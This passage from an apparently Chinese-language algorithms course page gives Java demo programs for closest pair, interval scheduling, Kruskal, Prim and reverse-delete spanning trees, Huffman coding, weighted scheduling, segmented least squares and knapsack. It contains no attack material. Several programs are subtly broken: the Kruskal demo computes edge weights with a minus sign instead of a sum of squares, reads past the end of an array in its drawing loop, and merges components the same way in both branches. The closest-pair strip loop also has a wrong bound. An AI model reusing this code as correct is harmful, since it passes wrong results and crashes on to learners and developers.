                rX[1][k] = pX[1][i];
                rY[0][k] = pY[0][i];
                rY[1][k] = pY[1][i];
                k=k+1;
            }
        }

        ClosestPairRec(qX,qY,qp2);
        ClosestPairRec(rX,rY,rp2);
        int dd1=(qp2[2]-qp2[0])* (qp2[2]-qp2[0])+(qp2[1]-qp2[3])* (qp2[1]-qp2[3]);
        int dd2=(rp2[2]-rp2[0])* (rp2[2]-rp2[0])+(rp2[1]-rp2[3])* (rp2[1]-rp2[3]);
        int d2=Math.min(dd2,dd1);
        double d=Math.sqrt(d2);
        if (dd1<dd2){
            p2[0]=qp2[0];
            p2[1]=qp2[1];
            p2[2]=qp2[2];
            p2[3]=qp2[3];
        }
        else{
            p2[0]=rp2[0];
            p2[1]=rp2[1];
            p2[2]=rp2[2];
            p2[3]=rp2[3];
        }
        int[][] sY=new int[2][pX[0].length];
        int count=0;
        for(int i=0;i<pX[0].length;i++){
            if(pY[0][i]>(pX[0][foreHalf-1]-d)&&pY[0][i]<(pX[0][foreHalf-1]+d)){
                sY[0][count]=pY[0][i];
                sY[1][count]=pY[1][i];
                count=count+1;
            }
        }
        for (int i=0;i<count;i++){
            for(int j=1;j<=15&&(j+1)<count;j++){
                int dl=(sY[0][i]-sY[0][i+j])* (sY[0][i]-sY[0][i+j])+(sY[1][i]-sY[1][i+j])* (sY[1][i]-sY[1][i+j]);
                if(dl<d2){
                    d2=dl;
                    p2[0]=sY[0][i];
                    p2[1]=sY[1][i];
                    p2[2]=sY[0][i+j];
                    p2[3]=sY[1][i+j];
                }
            }
        }
    }
}

第三章

时序分配

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
//
// Source code recreated from a .class file by IntelliJ IDEA
// (powered by FernFlower decompiler)
//

import java.util.Arrays;

public class IntervarSchedulingDemo {
    public IntervarSchedulingDemo() {
    }

    public static void main(String[] args) {
        int isN = 10;
        int gis = 50;
        int[] isF = new int[isN];
        int[] isS = new int[isN];
        int[] isY = new int[isN];
        int[] isF2 = new int[isN];
        int[] isS2 = new int[isN];
        int[] isY2 = new int[isN];
        int[] isR = new int[isN];
        int beishu = gis;
        int[] flagX = new int[isN];
        int c = 0;

        int i;
        int j;
        while(c < isN) {
            i = (int)(Math.random() * (double)beishu);
            j = (int)(Math.random() * (double)beishu);
            int d3 = (int)(Math.random() * (double)beishu);
            if (i > j) {
                isS[c] = j;
                isF[c] = i;
                isF2[c] = i;
                isY[c] = d3;
                isR[c] = 1;
                flagX[c] = 1;
                ++c;
            }
        }

        StdDraw.setXscale(0.0, (double)beishu);
        StdDraw.setYscale(0.0, (double)beishu);
        StdDraw.setPenRadius(0.005);
        Arrays.sort(isF);

        for(i = 0; i < isN; ++i) {
            for(j = 0; j < isN; ++j) {
                if (isF[i] == isF2[j] && flagX[j] == 1) {
                    isS2[i] = isS[j];
                    isY2[i] = isY[j];
                    flagX[j] = 0;
                    break;
                }
            }
        }

        for(c = 0; c < isN; ++c) {
            if (isR[c] == 1) {
                for(i = c + 1; i < isN; ++i) {
                    if (isS2[i] < isF[c]) {
                        isR[i] = 0;
                    }
                }
            }
        }

        for(i = 0; i < isN; ++i) {
            if (isR[i] == 1) {
                StdDraw.setPenColor(StdDraw.RED);
                StdDraw.line((double)isS2[i], (double)isY2[i], (double)isF[i], (double)isY2[i]);
            } else {
                StdDraw.setPenColor(StdDraw.BLACK);
                StdDraw.line((double)isS2[i], (double)isY2[i], (double)isF[i], (double)isY2[i]);
            }
        }

    }
}

最小生成树

kru

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
import java.util.Arrays;

public class KruskalDemo2{
    public static void main(String[] arrays){
        int VN=9,eN=17,count;
        count=VN;
        int[] cN=new int[VN];
        int[] cS=new int[VN];
        for(int i=0;i<VN;i++){
            cN[i]=i;
            cS[i]=1;
        }
        int[] c=new int[eN];
        int[] c2=new int[eN];
        int[] flagEOG=new int[eN];
        int[][]
                e={{0,0,0,0,1,1,2,2,3,3,3,3,4,4,5,6,7},{1,4,3,2,6,4,3,5,4,8,7,5,6,8,7,8,8}};
        int N=VN;
        int beishu=9;
        int[] x={4,1,7,4,2,8,1,6,3};
        int[] y={0,1,1,3,4,4,6,6,8};
        StdDraw.setXscale(0,beishu);
        StdDraw.setYscale(0,beishu);
        StdDraw.setPenRadius(0.005);
        int v3;
        int v4;
        int[][] e2=new int[2][eN];
        int[] flagX=new int[eN];
        for(int i=0;i<eN;i++)
        {
            v3=e[0][i];
            v4=e[1][i];
            flagX[i]=1;
            c[i]=(x[v3]-x[v4])*(x[v3]-x[v4])-(y[v3]-y[v4])*(y[v3]-y[v4]);
            c2[i]=c[i];
            flagEOG[i]=0;
        }
        Arrays.sort(c);
        for (int i=0;i<eN;i++){
            for (int j=0;j<eN;j++){
                if(c[i]==c2[j]&&flagX[j]==1){
                    e2[0][i]=e[0][j];
                    e2[1][i]=e[1][j];
                    flagX[j]=0;
                    break;
                }
            }
        }
        int clb=0;
        while (count>=1){
            if (count==1){
                for (int i=0;i<=eN;i++){
                    int v1,v2;
                    v1=e2[0][i];
                    v2=e2[1][i];
                    if(flagEOG[i]==1){
                        StdDraw.setPenColor(StdDraw.RED);
                        StdDraw.line(x[v1],y[v1],x[v2],y[v2]);
                    }
                    else{
                        StdDraw.setPenColor(StdDraw.BLACK);
                        StdDraw.line(x[v1],y[v1],x[v2],y[v2]);
                    }
                }
                break;
            }
            int szj1,szj2;
            szj1=cN[e2[0][clb]];
            szj2=cN[e2[1][clb]];
            if(szj1!=szj2){
                flagEOG[clb]=1;
                count=count-1;
                int dd,xd;
                if (cS[szj1]>=cS[szj2]){
                    dd=szj1;
                    xd=szj2;
                }
                else {
                    dd=szj1;
                    xd=szj2;
                }
                for(int k=0;k<VN;k++){
                    if(cN[k]==dd){
                        cS[dd]=cS[dd]+cS[xd];
                    }
                }
                for (int k=0;k<VN;k++){
                    if(cN[k]==xd){
                        cN[k]=dd;
                    }
                }
            }
            clb=clb+1;
        }
    }
}

prim

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
import java.util.Arrays;
public class PrimDemo {
    public static void main(String[] args) {
        int vN=9,eN=17,count;
        count = vN;
        int[] cN=new int[vN];
        int[] cS=new int[vN];
        for(int i=0;i<vN;i++){
            cN[i]=i;
            cS[i]=1;
        }
        int[] c=new int[eN];
        int[] c2=new int[eN];
        int[] flagEOG=new int[eN];
        int[] flagVOG=new int[vN];
        for(int i=0;i<vN;i++){
            flagVOG[i]=0;
        }
        int[][] e ={{0,0,0,0,1,1,2,2,3,3,3,3,4,4,5,6,7},{1,4,3,2,6,4,3,5,4,8,7,5,6,8,7,8,8}};
        int N=vN;
        int beishu=9;
        int[] x={4,1,7,4,2,8,1,6,3};
        int[] y={0,1,1,3,4,4,6,6,8};
        StdDraw.setXscale(0,beishu);
        StdDraw.setYscale(0,beishu);
        StdDraw.setPenRadius(0.005);
        int v3;
        int v4;
        int[][] e2=new int[2][eN];
        int[] flagX=new int[eN];
        for(int i=0;i<eN;i++){
            v3=e[0][i];
            v4=e[1][i];
            flagX[i]=1;
            c[i]=(x[v3]-x[v4])*(x[v3]-x[v4])+(y[v3]-y[v4])*(y[v3]-y[v4]);
            c2[i]=c[i];
            flagEOG[i]=0;
        }
        Arrays.sort(c);
        for(int i=0;i<eN;i++){
            for(int j=0;j<eN;j++){
                if(c[i]==c2[j]&&flagX[j]==1){
                    e2[0][i]=e[0][j];
                    e2[1][i]=e[1][j];
                    flagX[j]=0;
                    break;
                }
            }
        }
        int fV=(int)(Math.random()*vN);
        flagVOG[fV]=1;
        int szj1,szj2;
        while (count>=1){
            if(count==1){
                for (int i=0;i<eN;i++){
                    int v1,v2;
                    v1=e2[0][i];
                    v2=e2[1][i];

                    if(flagEOG[i]==1){
                        StdDraw.setPenColor(StdDraw.RED);
                        StdDraw.line(x[v1],y[v1],x[v2],y[v2]);
                    }
                    else {
                        StdDraw.setPenColor(StdDraw.BLACK);
                        StdDraw.line(x[v1],y[v1],x[v2],y[v2]);
                    }
                }
                break;
            }
            for(int k=0;k<eN;k++){
                szj1=e2[0][k];
                szj2=e2[1][k];
                if(flagEOG[k]==0&&((flagVOG[szj2]==0&&flagVOG[szj1]==1)||(flagVOG[szj2]==1&&flagVOG[szj1]==0))){
                    flagEOG[k]=1;
                    if(flagVOG[szj2]==0){
                        flagVOG[szj2]=1;
                    }
                    else {
                        flagVOG[szj1]=1;
                    }
                    count--;
                    break;
                }
            }
        }
    }
}

反向删除

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
import java.util.Arrays;

public class ReverseDeleteDemo {
    public static void main(String[] args) {
        int vN = 9, eN = 17, count;
        count = vN;
        int[] c = new int[eN];
        int[] flagv = new int[vN];
        int[] c2 = new int[eN];
        int[] flagEOG = new int[eN];
        int[][] e = {{0, 0, 0, 0, 1, 1, 2, 2, 3, 3, 3, 3, 4, 4, 5, 6, 7}, {1, 4, 3, 2, 6, 4, 3, 5, 4, 8, 7, 5, 6, 8, 7, 8, 8}};
        int[][] flag = new int[vN][vN];
        int N = vN;
        int beishu = 9;
        int[] x = {4, 1, 7, 4, 2, 8, 1, 6, 3};
        int[] y = {0, 1, 1, 3, 4, 4, 6, 6, 8};
        StdDraw.setXscale(0, beishu);
        StdDraw.setYscale(0, beishu);
        StdDraw.setPenRadius(0.005);
        int v3;
        int v4;
        int[][] e2 = new int[2][eN];
        int[] flagX = new int[eN];
        for (int i = 0; i < eN; i++) {
            v3 = e[0][i];
            v4 = e[1][i];
            flagX[i] = 1;
            c[i] = (x[v3] - x[v4]) * (x[v3] - x[v4]) + (y[v3] - y[v4]) * (y[v3] - y[v4]);
            c2[i] = c[i];
            flagEOG[i] = 1;
        }
        Arrays.sort(c);
        for (int i = 0; i < eN; i++) {
            flag[e[0][i]][e[1][i]] = 1;
            flag[e[1][i]][e[0][i]] = 1;
            for (int j = 0; j < eN; j++) {
                if (c[i] == c2[j] && flagX[j] == 1) {
                    e2[0][i] = e[0][j];
                    e2[1][i] = e[1][j];
                    flagX[j] = 0;
                    break;
                }
            }
        }
        int szj1, szj2;
        while (count >= 1) {
            if (count == 1) {
                for (int i = 0; i < eN; i++) {
                    int v1, v2;
                    v1 = e2[0][i];
                    v2 = e2[1][i];
                    if (flagEOG[i] == 1) {
                        StdDraw.setPenColor(StdDraw.RED);
                        StdDraw.line(x[v1], y[v1], x[v2], y[v2]);
                    } else {
                        StdDraw.setPenColor(StdDraw.BLACK);
                        StdDraw.line(x[v1], y[v1], x[v2], y[v2]);
                    }
                }
                break;
            }
            int cmN = 0;
            for (int k = eN - 1; k >= 0; k--) {
                szj1 = e2[0][k];
                szj2 = e2[1][k];
                flag[szj1][szj2] = 0;
                flag[szj2][szj1] = 0;
                for (int i = 0; i < vN; i++) {
                    flagv[i] = 1;
                }
                cmN = dft(szj1, flag, flagv, vN);
                if (cmN == vN) {
                    flagEOG[k] = 0;
                } else {
                    flag[szj1][szj2] = 1;
                    flag[szj2][szj1] = 1;
                }
            }
            count = 1;
        }
    }

    public static int dft(int v, int[][] flag, int[] flagv, int vN) {
        int count=1;
        flagv[v]=0;
        for(int i=0;i<vN;i++){
            if(flag[v][i]==1&&flagv[i]==1){
                count=count+dft(i,flag,flagv,vN);
            }
        }
        return count;
    }
}

第四章

哈夫曼编码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
import java.util.*;
public class HuffmanDemo {
    public static void main(String[] args) {
        int rr = 3;
        //int count=10;
        //char[] cS = {'a','b','c','d','e','f','g','h','i','j'};
        //double[] dF={0.18,0.15,0.11,0.07,0.27,0.019,0.01,0.02,0.17,0.001};
        int count = 7;
        char[] cS = {'a', 'e', 'i', 's', 't', 'b', 'n'};
        double[] dF = {0.1, 0.15, 0.12, 0.03, 0.04, 0.13, 0.01};
        int[] dF2 = new int[count];
        for (int i = 0; i < count; i++) {
            dF2[i] = (int) (dF[i] * 1000);
        }
        int[][] dPS = new int[3][count];
        dPS[2][0] = 0;
        for (int i = 0; i < count; i++) {
            dPS[0][i] = dF2[i];
            dPS[1][i] = i;
            insertHeap(dPS, i + 1);
            dPS[2][0] = dPS[2][0] + 1;
        }
        int[][] cHT = new int[4][count * 2];
        for (int i = 0; i < count; i++) {
            cHT[0][i] = i;
            cHT[1][i] = -1;
            cHT[2][i] = -1;
            cHT[3][i] = 1;
        }
        int beishu = count * rr * 4;
        StdDraw.setXscale(0, beishu);
        StdDraw.setYscale(0, beishu);
        StdDraw.setPenRadius(0.005);
        int root = 0;
        int n = count;
        int count2 = count;
        while (count >= 1) {
            if (count == 1) {
                //输出显示哈夫曼树
                inOrderPaint(root, cS, cHT, count2 * 5, count2 * 4 * rr - 10, rr, count2 * 1.9);
                break;
            }
            int mF = dPS[1][0];
            int f1 = dPS[0][0];
            //从优先队列中取出频率最小的结点
            dPS[0][0] = dPS[0][dPS[2][0]-1];
            dPS[1][0] = dPS[1][dPS[2][0]-1];
            //从优先队列最后结点放到第一个结点的位置
            dPS[2][0] = dPS[2][0] - 1;
            deleteHeap(dPS, 1);
            //重新调整为新的优先队列
            int mS = dPS[1][0];
            int f2 = dPS[0][0];
            dPS[0][0] = dPS[0][dPS[2][0] - 1];
            dPS[1][0] = dPS[1][dPS[2][0] - 1];
            dPS[2][0] = dPS[2][0] - 1;
            deleteHeap(dPS, 1);
            //从优先队列中取出频率次小的结点
            cHT[0][n] = n;
            cHT[1][n] = mF;
            cHT[2][n] = mS;
            if (cHT[3][mF] > cHT[3][mS]) {
                cHT[3][n] = cHT[3][mF] + 1;
            }
            dPS[0][dPS[2][0]] = f1 + f2;
            dPS[1][dPS[2][0]] = n;
            dPS[2][0] = dPS[2][0] + 1;
            insertHeap(dPS, dPS[2][0]);
            //新结点加入优先树
            root = n;
            n = n + 1;
            count = count - 1;
        }
    }

    public static void insertHeap(int[][] dPS, int i) {
        int zj,j;
        if(i>1){
            j=i/2;
            if(dPS[0][i-1]<dPS[0][j-1]){
                zj=dPS[0][i-1];
                dPS[0][i-1]=dPS[0][j-1];
                dPS[0][j-1]=zj;
                zj=dPS[1][i-1];
                dPS[1][i-1]=dPS[1][j-1];
                dPS[1][j-1]=zj;
                insertHeap(dPS,j);
            }
        }
    }

    private static void deleteHeap(int[][] dPS, int i) {
        int n;
        int left,right,zj;
        n=dPS[2][0];;
        int j = 0;
        if(2*i>n)
            return;
        else if(2*i<n){
            left=2*i;
            right=2*i+1;
            if(dPS[0][left-1]>dPS[0][right-1]) {
                j = right;
            }
            else {
                j = left;
            }
        }else if(n==2*i){
            j=2*i;
        }
        if(dPS[0][j-1]<dPS[0][i-1]){
            zj=dPS[0][i-1];
            dPS[0][i-1]=dPS[0][j-1];
            dPS[0][j-1]=zj;
            zj=dPS[1][i-1];
            dPS[1][i-1]=dPS[1][j-1];
            dPS[1][j-1]=zj;
            deleteHeap(dPS,j);
        }
    }
    private static void inOrderPaint(int root, char[] cS, int[][] cHT, double x, double y, double r, double jg) {
        double xC,yC,xS,yS,rC,zj1,zj2;
        StdDraw.setPenColor(StdDraw.BLACK);
        StdDraw.circle(x,y,r);
        if(cHT[1][root]!=-1&&cHT[2][root]==-1){
            xC=x-jg;
            yC=y-4*r;
            zj1=r*jg/(Math.sqrt(16*r*r+jg*jg));
            zj2=4*r*r/(Math.sqrt(16*r*r+jg*jg));
            StdDraw.setPenColor(StdDraw.RED);
            StdDraw.line(x-zj1,y-zj2,xC+zj1,yC+zj2);
            inOrderPaint(cHT[1][root],cS,cHT,xC,yC,r,jg/1.3);
        }
        if(cHT[2][root]!=-1&&cHT[1][root]==-1){
            xC=x+jg;
            yC=y-4*r;
            zj1=r*jg/(Math.sqrt(16*r*r+jg*jg));
            zj2=4*r*r/(Math.sqrt(16*r*r+jg*jg));
            StdDraw.setPenColor(StdDraw.RED);
            StdDraw.line(x+zj1,y-zj2,xC-zj1,yC+zj2);
            inOrderPaint(cHT[2][root],cS,cHT,xC,yC,r,jg/1.3);
        }
        if(cHT[2][root]!=-1&&cHT[1][root]!=-1){
            xC=x-jg;
            yC=y-4*r;
            zj1=r*jg/(Math.sqrt(16*r*r+jg*jg));
            zj2=4*r*r/(Math.sqrt(16*r*r+jg*jg));
            StdDraw.setPenColor(StdDraw.RED);
            StdDraw.line(x-zj1,y-zj2,xC+zj1,yC+zj2);
            //Sytem.out.print(" "+cHT[1][root]);
            inOrderPaint(cHT[1][root],cS,cHT,xC,yC,r,jg/1.3);
            xC=x+jg;
            yC=y-4*r;
            zj1=r*jg/(Math.sqrt(16*r*r+jg*jg));
            zj2=4*r*r/(Math.sqrt(16*r*r+jg*jg));
            StdDraw.setPenColor(StdDraw.RED);
            StdDraw.line(x+zj1,y-zj2,xC-zj1,yC+zj2);
            //Sytem.out.print(" "+cHT[2][root]);
            inOrderPaint(cHT[2][root],cS,cHT,xC,yC,r,jg/1.3);
        }
        if(cHT[2][root]==-1&&cHT[1][root]==-1){
            xS=x-0.05*r;
            yS=y;
            String s=""+cS[cHT[0][root]];
            StdDraw.setPenColor(StdDraw.RED);
            StdDraw.text(xS,yS,s);
        }
    }
}


时隙最优解权值和

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
import java.util.Arrays;

public class ComputeRDemo {
    public static void main(String[] args){
        int isN=10,gis=50;
        int[] isF=new int[isN];
        int[] isS=new int[isN];
        int[] isV=new int[isN];
        int[] isF2=new int[isN];
        int[] isS2=new int[isN];
        int[] isY2=new int[isN];
        int[] isV2=new int[isN];
        int[] isR=new int[isN];
        int[] isM=new int[isN];
        int beishu=gis;
        int[] flagX=new int[isN];
        int c=0;
        while (c<isN){
            int d1=(int)(Math.random()*beishu);
            int d2=(int)(Math.random()*beishu);
            int d3=(int)(Math.random()*beishu);
            int d4=(int)(Math.random()*beishu);
            if(d1>d2){
                isS[c]=d2;
                isF[c]=d1;
                isF2[c]=d1;
                isV[c]=d4;
                isV2[c]=d4;
                flagX[c]=1;
                c=c+1;
            }
            }
        StdDraw.setXscale(0,beishu);
        StdDraw.setYscale(0,beishu);
        StdDraw.setPenRadius(0.005);
        Arrays.sort(isF);
        for (int i=0;i<isN;i++){
            isR[i]=0;
            isM[i]=-1;
        }
        for (int i=0;i<isN;i++){
            for (int j=0;j<isN;j++){
                if (isF[i]==isF2[j]&&flagX[j]==1){
                    isS2[i]=isS[j];
                    isV2[i]=isV[j];
                    flagX[j]=0;
                    break;
                }
            }
        }
        int[] isP=new int[isN];
        int[] isSX=new int[isN];
        int[] isSY=new int[isN];
        for (int i=0;i<isN;i++){
            isP[i]=-1;
            isY2[i]=(int)(beishu/isN*(isN-i)-0.5);
            isSY[i]=isY2[i]-2;
            isSX[i]=(int)((isS2[i]+isF[i])/2);
        }
        for(int i=0;i<isN;i++){
            for(int j=i-1;j>=0;j--){
                if (isS2[i]>isF[j]){
                    isP[i]=j;
                    break;
                }
            }
        }
        computeOpt(isV2,isM,isP,isN-1);
        findSolutions(isM,isV2,isR,isP,isN-1);
        for (int i=0;i<isN;i++){
            StdDraw.setPenColor(StdDraw.BLUE);
            StdDraw.text(isSX[i],isSY[i],""+isV2[i]);
            if (isR[i]==1){
                StdDraw.setPenColor(StdDraw.RED);
                StdDraw.line(isS2[i],isY2[i],isF[i],isY2[i]);
            }
            else {
                StdDraw.setPenColor(StdDraw.BLACK);
                StdDraw.line(isS2[i],isY2[i],isF[i],isY2[i]);
            }
        }
    }
    public static int computeOpt(int[] V,int[] M,int[] P,int j) {
        if (j <= -1)
            return 0;
        else {
            int d1 = computeOpt(V, M, P, P[j]);
            int d2 = computeOpt(V, M, P, j - 1);
            if ((V[j] + d1) < d2) {
                M[j]=d2;
                return d2;
            }
            else {
                M[j]=V[j]+d1;
                return (V[j]+d1);
            }
        }
    }
    public static void findSolutions(int[] M,int[] V,int[] R,int[] P,int j){
        int i=j;
        int d1,d2,d3=0;
        while (i>=0){
            if (P[i]==-1)
                d1=d3+V[i];
            else {
                d1=d3+V[i]+M[P[i]];
            }
            if (d1==M[j]){
                R[i]=1;
                d3=d3+V[i];
                i=P[i];
            }
            else {
                i=i-1;
            }
        }
    }
}

分段最小二乘法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
import java.awt.*;
import javax.swing.*;
import java.util.Scanner;
import javax.swing.JPanel;

public class SLMSDemo extends JFrame{
    //16个点的点集，第一行为横坐标，第二行为纵坐标
    static int P[][]={{20,40,50,60,70,80,90,100,110,120,130,140,150,160,170,180},
                {10,11,12,13,14,34,56,77,99,118,121,124,127,128,129,131}};
    //分段限制参数C，C越大，分的段数越少，可避免过拟合
    static double C=100;
    //设置一个极大值常量
    static final int MAXV=1000000000;
    //设置最大分段数
    static int maxS=100;
    //实际分段数
    static int mc=0;
    //点集共16个点
    static int n=16;
    //从1到j,j=1,2,...n的最小拟合误差,下标0做初始值，值为0
    static double[] optC=new double[n+1];
    //每个可能的子集的拟合直线a参数
    static double[][] a=new double[n][n];
    //每个可能的子集的最小乘误差
    static double[][] eC=new double[n][n];
    //每个可能的子集的拟合直线的b参数
    static double[][] b=new double[n][n];
    //最优的分段结果，第一行该子集的第一个点的下标，第二行为该子集的最后一个点的下标
    static int[][] mS=new int[2][maxS];
    //静态块初始化optC的初始边界值为0
    static {
        optC[0]=0;
    }
    public SLMSDemo(){}

    public static void main(String[] args) {
        SLMSDemo frame = new SLMSDemo();
        //计算a,b,eC
        ComputeE();
        //计算每个1...j子集的最优拟合代价
        mc = ComputeOPT();
        //显示输出计算结果
        DrawPanel rd= new DrawPanel(P,a,b,mS,mc);
        frame.add(rd);
        frame.setSize(400,400);
        frame.setTitle("分段最小二乘演示程序");
        frame.setLocationRelativeTo(null);
        frame.setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE);
        frame.setVisible(true);
    }



    private static void ComputeE() {
        for(int j=0;j<n;j++){
            for(int i=0;i<=j;i++){
                int xySum=0;
                int xSum=0;
                int ySum=0;
                int xxSum=0;
                for(int k=i;k<=j;k++){
                    xySum+=P[0][k]*P[1][k];
                    xxSum+=P[0][k]*P[0][k];
                    xSum+=P[0][k];
                    ySum+=P[1][k];
                }
                double zj=((j-i+1)*xxSum-xSum*xSum);
                if(zj!=0){
                    a[i][j]=((j-i+1)*xySum-xSum*ySum)/zj;
                }else{
                    a[i][j]=MAXV;
                }
                b[i][j]=(ySum-a[i][j]*xSum)/(j-i+1);
                int eSum=0;
                for(int k=i;k<=j;k++){
                    eSum+=(P[1][k]-P[0][k]*a[i][j]-b[i][j])*(P[1][k]-P[0][k]*a[i][j]-b[i][j]);
                }
                eC[i][j]=eSum;
            }
        }
    }
    public static int ComputeOPT() {
        for(int j=1;j<=n;j++){
            double emin=MAXV;
            for(int i=1;i<=j;i++){
                double zj=eC[i-1][j-1]+C+optC[i-1];
                if(zj<emin){
                    emin=zj;
                }
            }
            optC[j]=emin;
            //System.out.println(optC[j]+"");
        }
        int m=0;
        int j=n;
        while (j>=1){
            double emin=MAXV;
            int imin=0;
            for(int i=1;i<=j;i++){
                double zj=eC[i-1][j-1]+C+optC[i-1];
                if(zj<emin){
                    emin=zj;
                    imin=i;
                }
            }
            mS[0][m]=imin-1;
            mS[1][m]=j-1;
            m=m+1;
            j=imin-1;
        }
        return m;
    }
}
class DrawPanel extends JPanel{
    private int widthP=400;
    private int tw=40;
    private int heightP=widthP-tw;
    private int width=0;
    private int height=0;
    private Color axisColor=Color.BLACK;
    private Color scatColor=Color.BLUE;
    private Point origin;
    private Point originA;
    private int cx=5;
    private int cy=5;
    private int beishu;
    private int sC=100;
    private int[][] P;
    private double[][] a;
    private double[][] b;
    private int[][] mS;
    private int mc;
    public DrawPanel(){
        originA=new Point(2,380-2);
    }
    public DrawPanel(Point p){
        origin=p;
    }
    public DrawPanel(int x,int y){
        origin=new Point(0,0);
        width=x;
        height=y;
    }

    public DrawPanel(int[][]P,double[][]a,double[][]b,int[][]mS,int mc){
        cx=5;
        cy=5;
        sC=16;
        this.P=P;
        this.a=a;
        this.b=b;
        this.mS=mS;
        this.mc=mc;
        beishu=2;
        originA=new Point(cx,this.heightP-cy);
    }
    public int getArea(){
        return width*height;
    }
    protected void paintComponent(Graphics g){
        paintXY(g);
        paintScatters(g);
        paintLines(g);
    }
    private void paintXY(Graphics g){
        g.setColor(axisColor);
        g.drawLine(originA.x,originA.y,originA.x+widthP-cx,originA.y);
        g.drawLine(originA.x,originA.y,originA.x,originA.y-heightP+cy+tw);
    }
    private void paintScatters(Graphics g){
        g.setColor(scatColor);
        for(int i=0;i<sC;i++){
            g.drawOval(originA.x+P[0][i]*beishu,originA.y-P[1][i]*beishu,cx,cy);
        }
    }
    private void paintLines(Graphics g){
        for(int i=0;i<mc;i++){
            int y1=(int)((a[mS[0][i]][mS[1][i]]*P[0][mS[0][i]]+b[mS[0][i]][mS[1][i]])*beishu);
            int x1=P[0][mS[0][i]]*beishu;
            int y2=((int)(a[mS[0][i]][mS[1][i]]*P[0][mS[1][i]]+b[mS[0][i]][mS[1][i]])*beishu);
            int x2=P[0][mS[1][i]]*beishu;
            g.setColor(Color.RED);
            g.drawLine(originA.x+x1,originA.y-y1,originA.x+x2,originA.y-y2);
        }
    }

}

背包问题

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
import java.io.*;
import java.util.*;

public class KnapsackDemo {
    static int n = 10;
    static int W = 100;
    //static int[] iW={6,17,8,21,4,7,8,12,9,11};
    //static int[] iV={7,21,14,23,6,6,9,11,8,14};
    static int[] iW = {6, 17, 8, 21, 4, 7, 8, 12, 9, 11};
    static int[] iV = {7, 21, 14, 5, 6, 6, 9, 11, 8, 14};
    static int[][] optC = new int[n + 1][W + 1];
    static int sN = 0;
    static int vG = 0;
    static int wG = 0;
    static int[] iS = new int[n];

    static {
        for (int j = 0; j <= W; j++) {
            optC[0][j] = 0;
        }
    }

    public static void main(String[] args) {
        computeOPT();
        System.out.println("所选物件编号为");
        for (int i = 0; i < n; i++) {
            System.out.print(iS[i] + " ");
        }
        System.out.print("\n");
        System.out.println("占用总空间为: " + wG);
        System.out.println("总价值为: " + vG);
    }

    public static void computeOPT() {
        for (int j = 1; j <= n; j++) {
            for (int w = 0; w <= W; w++) {
                if (w < iW[j - 1]) {
                    optC[j][w] = optC[j - 1][w];
                } else {
                    int zj = iV[j - 1] + optC[j - 1][w - iW[j - 1]];
                    if (zj > optC[j - 1][w]) {
                        optC[j][w] = zj;
                    } else {
                        optC[j][w] = optC[j - 1][w];
                    }
                }
            }
        }
        int j = n;
        int w = W;
        while (j > 0) {
            if (w < iW[j - 1]) {
                j = j - 1;
            } else {
                int zj = iV[j - 1] + optC[j - 1][w - iW[j - 1]];
                if (zj > optC[j - 1][w]) {
                    iS[sN] = j;
                    sN = sN + 1;
